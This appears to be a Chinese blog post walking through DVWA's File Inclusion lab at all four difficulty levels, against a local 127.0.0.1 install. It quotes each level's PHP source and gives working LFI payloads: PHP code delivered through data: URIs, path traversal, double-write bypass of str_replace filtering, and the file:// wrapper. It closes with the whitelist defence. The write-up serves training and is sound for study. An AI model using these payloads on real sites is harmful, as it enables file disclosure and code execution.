DVWA靶场之File Inclusion(文件包含)通关

文件包含,未经过严格过滤,将一些恶意构造带入了包含函数,可以使用一些包含函数来包含一些其他乱七八糟的东西,要么导致任意文件读取,要么命令执行

文件包含包括远程文件包含(RFI)和本地文件包含(LFI)两种

RFI利用基本条件:allow_url_fopen = On(默认开)、allow_url_include = On(默认关,也没人闲的没事去开他)

 

LFI可包含共享文件,敏感目录文件,session

可包含Data:URI schema  比如?file=data:text/plain,<?php phpinfo();?>  再比如file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

如果有后缀限制,截断大法好,伪协议大法好(phar绕过上传限制、zip绕过上传限制等一堆),不过需要视具体情况判断使用条件限制

 

Low:

看一眼源代码

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

?>

没啥过滤筛查

三个文件,点一下包含,把文件包含进去了,返回结果告诉你一声

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=lcx.php

把include.php改成lcx.php,报错出路径(本地靶场)

根目录D:\phpstudy\phpstudy_pro\WWW\dvwa

读个phpinfo不过分吧

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\phpstudy_pro\WWW\dvwa\phpinfo.php

如果不报错,可以

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../phpinfo.php

去猜测

这是LFI

当然符合RFI的条件时,可以去访问外网网址、文件、下载链接什么的来造成代码执行

?page=url

 

Medium

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Input validation

$file = str_replace( array( "http://", "https://" ), "", $file );

$file = str_replace( array( "../", "..\"" ), "", $file );

?>

”http:// ”、”https://”、 ” ../”、”..\”被过滤了

关键是用str_replace,能用双写绕过,而且防不住知道绝对路径的,无论是LFI还是RFI

 

High:

<?php

 

// The page we wish to display

$file = $_GET[ 'page' ];

 

// Input validation

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {

    // This isn't the page we want!

    echo "ERROR: File not found!";

    exit;

}

 

?>

要求page参数的开头必须是file

那就file协议走起

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy/phpstudy_pro/WWW/dvwa/phpinfo.php 

Impossible

<?php

 

// The page we wish to display

$file = $_GET[ 'page' ];

 

// Only allow include.php or file{1..3}.php

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {

    // This isn't the page we want!

    echo "ERROR: File not found!";

    exit;

}

 

?>

白名单防护,只能从include.php”、“file1.php”、“file2.php”、“file3.php”之中选一个,不存在任意文件包含了

posted @ 2020-07-08 23:05  anoldcat  阅读(304)  评论(0编辑  收藏  举报